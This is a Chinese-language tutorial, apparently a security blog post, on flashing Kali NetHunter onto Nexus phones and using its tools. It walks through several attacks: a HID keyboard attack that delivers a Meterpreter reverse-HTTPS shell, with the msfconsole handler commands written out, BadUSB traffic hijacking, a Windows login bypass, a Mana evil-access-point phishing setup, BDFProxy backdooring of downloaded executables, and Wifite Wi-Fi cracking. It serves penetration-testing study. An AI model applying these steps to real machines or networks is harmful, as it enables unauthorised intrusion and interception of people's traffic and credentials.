0x00 前言


许多朋友都希望Hacking套件可以很方便的从PC移植到更便携的手机或平板电脑上,而Offensive Security团队发布的Kali NetHunter则将这一期待变为现实,通过移动终端随时随地进行Hacking,暂且美其名曰口袋Hacking.

Kali NetHunter是以Nexus(手机/平板)为基本硬件设备(新增对1+手机的支持),基于原生Android实现的便携渗透测试平台.熟悉的Kali使其易于上手,而图形化控制界面则使某些测试更易.基于此平台,工程师们也可自由发挥,加入个人项目.

关于NetHunter国内外文章相对较少且重复度高,故在此将其主要实战技巧加以整理介绍,以备各位爱好者参考.由于资料不足,难免出错之处,如有疏漏错误,望不吝赐教.

0x01 硬件支持


NetHunter官网给出以下支持刷入NetHunter的手机:

Nexus 4 (GSM) - “mako”
Nexus 5 (GSM/LTE) - “hammerhead”
Nexus 7 [2012] (Wi-Fi) - “nakasi”
Nexus 7 [2012] (Mobile) - “nakasig”
Nexus 7 [2013] (Wi-Fi) - “razor”
Nexus 7 [2013] (Mobile) - “razorg”
Nexus 10 (Tablet) - “mantaray”
OnePlus One 16 GB - “bacon”
OnePlus One 64 GB - “bacon”

值得一提的是,2015年NetHunter更新,由于1+手机的廉价与高性能,其被加入支持列表.用1+手机的朋友有福了,以下刷机以Nexus5为例.

0x02 刷机流程


官网给出几种刷机方式,推荐使用Windows引导刷机程序安装.下载地址:

https://www.kali.org/offsec-nethunter-installer/Kali_v1.1.6.sfx.exe

打开安装引导程序,默认路径安装

img

安装后自动运行NetHunter Installer并更新,进入引导安装步骤

  • Step1,选择已有硬件设备型号.

img

  • Step2,安装驱动

img

img

可以通过Test Drivers测试是否安装成功

  • Step3,安装选项

img

如已经通过官网下载过刷机包,通过Browser选择文件.下载链接 http://www.offensive-security.com/kali-linux-nethunter-download/ 下载后记得校验SHA1值.至于Android Flash Setting,因为对Android L的支持还未完成,故尚未开放选择.

  • Step4,下载文件

img

如图示,下载所有依赖文件.

img

所有依赖包都为Ready可进入下一步刷机.

  • Step5,解锁设备

img

解锁bootloader,注意需设置允许USB调试,手机会重启解锁.

  • Step6,重置原Android

img

同样再手机上勾选允许USB调试,注意数据会清空,记得备份.

img

  • Step7,刷入NetHunter

img

经过上一步重置手机后,需重新开启开发者模式,此时可刷入Kali Linux镜像并对手机进行Root,所需时间相对较长.(注:如镜像推送不成功,可以手工将kali_linux_nethunter_1.10_hammerhead_kitkat.zip复制到/sdcard/download/目录进行INSTALL)

  • Final,安装成功

img

img

0x03 推荐APP一览


完成系统刷入后,要丰富NetHunter原装工具,可以下载部分安卓APP以配合.以下为个人推荐

  • 中文输入法:作为一个汉语狗还是必备的

  • 文件管理器(如RootExplorer):Kali某些文件需要通过支持Root权限的文件管理器.

  • ShadowSocks:梯子还是要有的

    https://github.com/shadowsocks/shadowsocks-android/releases/download/v2.6.2/shadowsocks-nightly-2.6.2.apk

  • MiTM工具:

    zANTI2:虽为商业化限制部分功能,但使用体验的确好些.
    dSploit:曾经很出名
    lanmitm:国内安全工作者编写发布的工具
    Intercepter-NG:嗅探工具 
    Network Spoofer:自带许多调戏功能
    
  • IPTools:部分常见基本网络工具集合

    img

  • ChangeHostname:修改当前手机主机名HostName(还是有必要的).

  • WiGLE wifi:War Driving工具,收集无线热点信息,可保存到本地数据库.

  • SQLiteEditor:方便读取数据库信息

  • Hacker’s KeyBoard:NetHunter自带,便于输入各种控制字符

  • 远程桌面:NetHunter自带,便于连接VNC服务.

  • DriveDroid:NetHunter自带,将手机内镜像模拟为启动盘.

0x04 目录与服务


安装好NetHunter,先要对其目录与服务研究一番.Kali NetHunter根目录对应安卓系统目录的/data/local/kali-armhf目录

img

NetHunter自带工具,也多在此目录内.故如有抓包/日志等文件,找不到存放地址,不妨到此目录下寻觅一番(注:需Root权限).另外,NetHunter某些工具运行时的提示的目录,也多以此处为根目录.

通常,截获的数据包等文件存放在NetHunter目录下的Captures目录:

img

与Kali Linux类似,/usr/share下存放了大部分工具,并建立link,命令行可直接调用.

img

而Metasploit则依然位于/opt/目录下.

img

上图中/opt/dic目录则存放有字典文件,可自行补充.

img

此为/var/www目录,想来大家也知道是何用处了:)

至于服务,Offensive Security团队在新版中加入NetHunter Home以APP的形式管理服务开关,避免了之前版本通过WebServer管理的弊端(比如Web页面调用Google Fonts被墙卡半天 ;)

img

如图示,NetHunter Home为主页面,除了Offensive Security的Banner,还可以获取当前IP(内网/外网)地址.

img

Kali Launcher整合了四个启动器:

  • 终端打开一个Kali Shell
  • 终端打开Kali NetHunter Menu
  • 终端打开Wifite进入无线破解
  • 更新Kali NetHunter(执行sudo -c bootkali update)

对于NetHunter服务开关控制,则在Kali Service Control面板里进行设置

img

可看到,NetHunter可开放服务有SSH,Dnsmasq,Hostapd,OpenVPN,Apache,Metasploit及BeEF FrameWork等.

  • SSH服务:Secure Shell,方便其他设备连接控制.
  • Dnsmasq服务:DNS解析服务.
  • Hostapd服务:提供无线接入点服务.
  • OpenVPN服务:开放OpenVPN连入服务.
  • Apache服务:WEB服务.
  • Metasploit服务:为MSF攻击模块提供保障.
  • BeEF FrameWork服务:XSS利用框架服务.

在此面板可对对应服务进行开关设置.

0x05 Kali NetHunter Menu


在NetHunter Launcher中Kali Menu的启动项,其包含整理有NetHunter常用工具,如图:

img

与上一个版本相比,新增了以下选项:

USB Attacks
NFC Attacks
Monitor Mode
Eject USB Wifi

主要模块及介绍如下:

Wireless Attacks

  • Wifite

    自动无线安全审计工具

  • Kismet

    无线WarDriving工具

  • AP F**ker

    无线网恶意攻击工具(多为拒绝服务)

  • Wash

    扫描开启WPS的无线网络

  • Airodump-ng

    基本无线攻击套件(必备)

  • Pingen

    针对某些开启WPS的D-link的路由器计算其PIN码以破解

Sniffing/Spoofing

  • tcpdump

    基本流量Dump工具

  • tshark

    WireShark的Cli工具,可抓取分析流量

  • urlsnarf

    Dsniff工具包一部分,可嗅探HTTP请求包内容,并以CLF通用日志格式输出

  • dsniff

    强大的知名口令嗅探工具包

  • MITMproxy

    中间代理,可截获修改HTTP流量,参考官网介绍

Reverse Shells

  • AutoSSH

    通过SSH反弹shell(NAT Bypass)

  • pTunnel

    通过ICMP数据包隧道传送数据

Info Gathering

  • Spiderfoot

    开源扫描与信息收集工具,对给定域名收集子域,Email地址,web服务器版本等信息,自动化扫描.

  • Recon-ng

    强大的信息收集工具,模块化,可惜许多插件国内不适用(有墙).

  • Device-pharmer

    通过Shodan搜索,大数据Hacking.

Vulnerability Scan

  • OpenVas

    漏洞扫描器,需额外安装.Kali一直默认包含,好不好用客官自行定夺. :)

Exploit Tools

  • Metasploit

    强大,核心,必备

  • BeEF-XSS

    XSS渗透测试工具,看个人习惯使用

  • Social-Engineering-Toolkit

    Kali下的SET,社会工程学套件,功能强大.

  • MITMf

    中间人攻击框架,基于Python,拥有多个插件,渗透测试功能强大

OpenVPN Setup

OpenVPN设置

VNC Setup

VNC设置

Log/Capture Menu

可擦除本地所有抓取数据或同步到SD卡上(同步主要是解决权限问题.比如多数安卓APP未获得root权限是无法读取NetHunter工具截获的数据内容)

USB Attacks

  • Dictionary based brute force attack

    自动输入字典一行内容并回车,基于HID,模拟操作方式的暴力破解

  • deADBolt

    执行一堆ADB命令可以推送隐私文件等信息到指定目录,参考项目主页 https://github.com/photonicgeek/deADBolt

NFC Attack

提供了复制、重写、查看M卡数据功能(是不是不必带上Acr122u了;)

Settings

  • 修改时区
  • 为Metasploit创建用户和数据库
  • 修改MAC地址
  • 安装NodeJS

Service

  • SSH服务开关
  • VNC服务开关
  • OpenVPN服务开关
  • 在本地启动Xserver

Monitor Mode

启动或关闭wlan1(外置无线网卡)的混杂监听模式

Eject USB Wifi

弹出USB无线网卡

0x06 HID KeyBoard Attack


在过去,USB自启往往依赖插入的USB设备中的autorun.inf实现.时下这招往往不灵,而新兴的USB HID Attack则成为新的安全威胁.USB HID可通过模拟键盘或鼠标操作,实时执行目标代码,在此以PowerSploit结合MSF为例:

首先运行提供payload的webserver,在Kali Service Control中开启Apache服务器

img

转到HID攻击配置页面,选择PowerSploit

img

IP和端口填写MSF监听的IP端口,Payload我们选择windows/meterpreter/reverse_https,URL为提供Apache服务的IP,这里即本机:192.168.1.151

配置好后UPDATE配置文件,接下来需配置MSF监听反弹shell

[email protected]:~# msfconsole -q
msf > use exploit/multi/handler
msf exploit(handler) >

payload同HID配置页面中的payload

msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_https
PAYLOAD => windows/meterpreter/reverse_https

IP和端口同样设置

msf exploit(handler) > msf exploit(handler) > set LHOST 192.168.0.17
LHOST => 192.168.0.17
msf exploit(handler) > set LPORT 4444
LPORT => 443
msf exploit(handler) > exploit

[*] Started HTTPS reverse handler on https://0.0.0.0:4444/
[*] Starting the payload handler...

至此配置OK

img

开始监听

img

此时将设备连接至PC机,等待设备被识别后,执行Execute,攻击开始.

POWERSHELL命令执行后,就可在msf中看到反弹的shell了:

img

如连上PC后没有反应,可按Reset USB键更新.

当然,HID KeyBoard Attack也提供了Windows CMD攻击模块,即连入计算机后自动打开CMD并执行指定命令(默认为添加新管理员用户,可自由定制).

0x07 BadUSB MITM Attack


BadUSB Attack是BlackHat大会上公布的一种较先进的USB攻击方式,模拟键盘操作等Payload可自动执行某些操作,而NetHunter的BadUSB MiTM Attack则是其中一种玩法:修改网络设定,劫持网络流量.

关于BadUSB MITM Attack,NetHunter官网有演示视频,详见http://www.nethunter.com/showcase/,但并未交代详细过程,以下笔者操作为例:

首先,确保手机连接目标计算机时,MTP文件传输是关闭的.连接目标计算机,打开手机USB网络共享:

img

此时在NetHunter Home打开一个Kali Shell,查看网卡多出虚拟网卡rndis0(USB网络共享网卡).

img

此时可以开启Tcpdump截获流量,命令如:

tcpdump -i rndis0

回到NetHunter Home,切换到BadUSB MiTM Attack,勾选右上角选项Start BadUSB Attack

img

被连接的计算机此时会多出一个网卡,网关为rndis0的IP地址

img

此时流量已可以截获,例如访问某些网站,手机tcpdump处流量显示如图:

img

因为手机并未插入SIM卡,无网络,故PC机并无法得到返回页面.

之前有同学在Drops分享的一片文章Kali Nethunter初体验中提到:

出现双网关现在所以并未像官网演示的那样流量直接走向恶意网关(10.0.0.1)而是依旧走的之前的网关(192.168.1.1)故劫持失败

这种情况也可能出现,不过个人测试中,网络连接优先级,默认劫持后的网关优先级更高,故流量可以正常劫持.也可能是NetHunter今年更新后做的优化,如图示:

img

当然,配合HID Keyboard Attack进行攻击测试也是很好的方式,至于数据包的保存与分析,则可自行发挥.

0x08 绕过Windows登录认证


NetHunter其实有许多隐藏玩法,比如借助DriveDroid实现Windows登陆绕过密码.

DriveDroid本是个允许通过安卓手机中的ISO/IMG镜像文件引导启动PC机的一个App,但结合了特定的镜像,实现绕过Windows登陆认证就变得可行:)

在此以Win7为例,首先为默认账户创建密码hello.

img

DriveDroid默认引导镜像存放目录位于SDCard/Download/images,只需将欲引导的镜像存放于此目录即可.

img

这里绕过Windows或OSX登陆认证的镜像为Kon-Boot.可以到官网了解,其原理在于处理BIOS修改系统内核的引导处理,跳过SAM检查,直接登陆系统.因为是付费软件,以下以自行寻觅的镜像为例演示.

关闭MTP文件传输,打开DriveDroid,自动列出images目录下得镜像文件.

img

选择Kon-Boot.img镜像挂载,模式这里选择为Read-Only USB

img

加载成功后相应镜像有所标志

img

而在连入的PC机中也会显示加载有新的可移动磁盘(或软驱盘),如未能显示,可在配置页面进行相应调整(可通过USB Setup Wizard向导指引)

img

此时在设有密码的PC机重启,进入BIOS设置启动项

img

如果镜像加载成功,可以看到飞奔的图案如下:

img

之后登陆用户密码处回车即可绕过密码认证登陆系统

img

需要说明的是,通过此方式登陆系统无法直接修改或删除系统密码.

0x09 WarDriving


犹记得当年前辈们肩扛笔记本做WarDriving的事迹,智能设备发展至今,WarDriving已可用便携设备取代.只是至今迟迟没有寻觅到比较合适直观的WarDriving工具,期待有朋友能开发或推荐个.

在NetHunter下,Kali-Menu的Wireless模块中Kismet作为WarDriving的默认工具,不过操作起来画面太美不敢看:

img

退而求其次,推荐使用App WigleWifi.不过注意不要不小心上传数据.使用easy,界面很难看.

img

好在数据可以以Sqlite数据库格式存储在本地.

0x10 Mana EvilAP蜜罐


想建个CMCC无线网络钓鱼劫持流量?PineApple没有带在身边,不妨拿出手机,开个蜜罐吧. :)

Mana蜜罐采用与PineApple相同的:Hostapd的Karma补丁,可用来欺骗接入无线网络用户,使其可很平滑连接到虚假AP中,进行后续攻击.

需要说明的是,NetHunter无线攻击模块,大都需要使用OTG外接USB无线网卡.主流芯片(可以试试Kali是否可直接识别)网卡均可.WN722N较为推荐,迷你的EDUP网卡通用性则较强(Raspberry Pi也可直接识别),只是信号强度..自然可想而知.

img

Mana蜜罐有多种Hacking模式,均为sh脚本,可自由定制.Mana工具安装目录为:

/usr/share/mana-toolkit

启动脚本则在此处存放:

/usr/share/mana-toolkit/run-mana

截获流量文件存放于:

/var/lib/mana-toolkit

通过NetHunter Home的Mana蜜罐页面可方便的对配置文件进行修改:

Hostapd配置文件

img

DHCP服务配置文件

img

DNS欺骗配置文件

img

服务启动脚本有多个,均可自由编辑修改:

img

上图对应脚本start-nat-full.sh,脚本需要USB无线网卡(存在上行流量)启动,无线连入为NAT模式,并启动所有脚本包括:firelamb,sslstrip,sslsplit等,截获流量并保存.

img

start-nat-simple.sh同样有上行流量,但并不启动firelamb,sslstrip,sslsplit等脚本.

img

start-nat-simple-bdf.sh,加入了BDF恶意代码Inject工具,后面章节将对其攻击思路进行介绍.

此外,还有

start-noupstream.sh

Mana作为无法上网的虚假AP启动,但可吸引WIFI默认开启的终端自动连接并抓取信息.

start-noupstream-eap.sh

Mana同样无法上网,但会进行EAP攻击

编辑好启动文件后,Start Attack,会弹窗勾选启动脚本:

img

即可启动服务.

0x11 Backdooring Executable Over HTTP


这个攻击思路就比较有趣了,新功能在NetHunter今年1月5号发布的版本中作为Kali Nethunter目前最新最酷炫的玩法,源于secret squirrel的github项目the-backdoor-factoryBDFProxy,可让我们轻松地对使用HTTP协议传送的二进制文件注入shellcode.

首先建立一个Mana蜜罐,SSID这里使用默认名称internet,启动服务

cd /usr/share/mana-toolkit/run-mana
./start-nat-simple-bdf.sh

img

再开一个Shell,编辑bdfproxy.cfg,此配置文件包含了针对不同平台默认设置的payload,可自行更换.不过由于显示问题,用nano编辑文本会一行行刷新,还是换个方式编辑比较好.这里只把IP修改192.168.1.151,也可在Nethunter的主面板下的MANA Evil Access Point中进行配置.

nano /etc/bdfproxy/bdfproxy.cfg

配置好IP之后,在Shell中直接输入bdfproxy运行之.

再新开一个Shell启动Metasploit

img

一切准备就绪,等待连入蜜罐AP的PC机上网下载二进制文件,在此通过百度下载everything(神器啊)演示:

img

运行everthing,因为注入了payload,会出现自校验失败的提示

img

查看MSF,已成功反弹回Shell了.而上面自校验失败的提示就是MeterPreter的screenshot帮我截取的 :)

img

不得不说,这个新特性真的很Cool.

0x12 Wifite破解


写到最后,还没有提到无线破解是不科学的;) NetHunter推荐的Wifite破解工具是其最早集成的功能之一.移动设备的便携性更有利于随时随地进行Wifi安全测试,只需挂载上外置无线网卡便可轻松抓包破解.不过并不建议直接在移动设备上破解抓到的包,如跑几分钟没结果,就拿高性能设备破解吧,否则易导致设备死机.

连接好外置无线网卡后,在Nethunter主菜单选择Launch Wifite即可进入

img

选择开启混杂监听模式的网卡,选择Wlan1

img

扫描开始,每5秒更新一次,当确认攻击目标后CTRL+C停止扫描

img

输入攻击目标序号,这里就选XDSEC-WIFI了,输入2

img

抓包成功后自动调用字典破解,这里机智的把字典删掉,其自动退出

img

抓到的握手包存放在/data/local/kali-armhf/HS目录下,命名规则是SSID+MAC

img

如果目标开启WPS,则自动进行PIN码破解.

Wifite相对傻瓜化,易操作,适合移动终端.对无线网密码测试笔者也成功过几次,连入无线后结合zANTI等工具调戏即可:)

0x13 写在最后


文末,已将NetHunter大部分实战玩法进行相应介绍,文章为卷毛zing同学与顺毛le4f同学共同编写,能力有限,如有不足之处望指出.抛砖引玉,期待有更多技巧分享.